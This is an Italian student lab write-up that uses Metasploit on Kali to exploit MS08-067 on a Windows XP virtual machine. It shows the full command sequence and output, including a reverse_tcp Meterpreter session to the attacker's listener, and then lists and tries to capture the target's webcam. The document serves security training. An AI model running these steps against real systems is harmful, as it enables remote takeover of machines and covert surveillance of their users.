




Consegna S7-L3

exploit su windows xp



Nell'esercizio di oggi e' stato richiesto di eseguire un exploit su macchina windows xp, dunque, per iniziare avviamo metasploit su macchina kali (attaccante) con "[msfconsole](#)" fatto ciò cerchiamo l'exploit di nostro interesse con "[search ms08-067](#)". Come possiamo vedere il risultato e' uno solo andremo dunque ad usarlo. Questo tipo di exploit ci permette di avviare una sessione meterpreter sulla macchina target (che sia microsoft), e tramite i vari comandi messi a disposizione ci sarà possibile ottenere vari tipi di informazioni utili, in più ci sarà anche possibile eseguire delle azioni sulla macchina target.

```
root@kali:~# cd /home/kali/.msf4/ && ls -la
(kali@kali)-[~]
$ msfconsole
Metasploit tip: You can use help to view all available commands
```

```
msf6 > search ms08-067
```

```
Matching Modules
```

```
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/windows/smb/ms08_067_netapi	2008-10-28	great	Yes	MS08-067 Microsoft Server Service Relative Path Stack Corruption

Interact with a module by name or index. For example `info 0`, `use 0` or `use exploit/windows/smb/ms08_067_netapi`

```
msf6 > 
```

per selezionare l'exploit useremo il comando "use 0" (in questo caso perché la riga che ci serve è segnata come 0), nota che si potrebbe anche scrivere tutta la riga quindi "msf6 > use windows/smb/ms08_067_netapi". Fatto ciò usiamo il comando "show options" per verificare i parametri necessari per l'exploit, come possiamo vedere è necessario settare l'ip della macchina target, andremo quindi ad usare il comando "set RHOST ip della macchina target" (192.168.50.200 nel nostro caso) come vedremo nella prossima slide.

```
msf6 > use 0
```

```
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
```

```
msf6 exploit(windows/smb/ms08_067_netapi) > show oprions
```

```
[-] Invalid parameter "oprions", use "show -h" for more information
```

```
msf6 exploit(windows/smb/ms08_067_netapi) > show options
```

```
Module options (exploit/windows/smb/ms08_067_netapi):
```

Name	Current Setting	Required	Description
----	-----	-----	-----
RHOSTS		yes	The target host(s), see https://doc
RPORT	445	yes	The SMB service port (TCP)
SMBPIPE	BROWSER	yes	The pipe name to use (BROWSER, SRVS

```
Payload options (windows/meterpreter/reverse_tcp):
```

Name	Current Setting	Required	Description
----	-----	-----	-----
EXITFUNC	thread	yes	Exit technique (Accepted: '', seh,
LHOST	192.168.50.104	yes	The listen address (an interface m
LPORT	4444	yes	The listen port

```
Exploit target:
```

Id	Name
--	----
0	Automatic Targeting

```
View the full module info with the info, or info -d command.
```

```
msf6 exploit(windows/smb/ms08_067_netapi) > |
```

```
msf6 exploit(windows/smb/ms08_067_netapi) > set RHOST 192.168.50.200
RHOST => 192.168.50.200
msf6 exploit(windows/smb/ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 192.168.50.104:4444
[*] 192.168.50.200:445 - Automatically detecting the target...
[*] 192.168.50.200:445 - Fingerprint: Windows XP - Service Pack 3 - lang:Italian
[*] 192.168.50.200:445 - Selected Target: Windows XP SP3 Italian (NX)
[*] 192.168.50.200:445 - Attempting to trigger the vulnerability...
[*] Sending stage (175686 bytes) to 192.168.50.200
[*] Meterpreter session 1 opened (192.168.50.104:4444 -> 192.168.50.200:1032) at 2024-01-17 01:52:25 -0700

meterpreter >
```

impostiamo appunto i parametri necessari con “set RHOST 192.168.50.200” e andiamo quindi ad avviare l'exploit tramite, appunto, il comando “exploit”. Una volta che ci troveremo con la scritta “meterpreter >” andremo a lanciare il comando “help” per vedere quali comandi possiamo usare e quindi trovare quelli a noi utili

Stdapi: Webcam Commands

=====

Command	Description
-----	-----
record_mic	Record audio from the default microphone for X seconds
webcam_chat	Start a video chat
webcam_list	List webcams
webcam_snap	Take a snapshot from the specified webcam
webcam_stream	Play a video stream from the specified webcam

```
meterpreter > webcam_list
[-] No webcams were found
meterpreter > webcam_list
1: Periferica video USB
meterpreter > webcam_snap 1
[*] Starting...
[*] Stopped
[-] stdapi_webcam_start: Operation failed: 2147942431
meterpreter > █
```

essendo che il nostro interesse e' quello di vedere quanti e quali dispositivi webcam sono collegati alla macchina, cercheremo la sezione "[webcam commands](#)" possiamo vedere che per ricevere una lista delle webcam connesse dovremo usare il comando "[webcam list](#)" infatti , una volta lanciato, vediamo che ci restituisce la presenza di un dispositivo video USB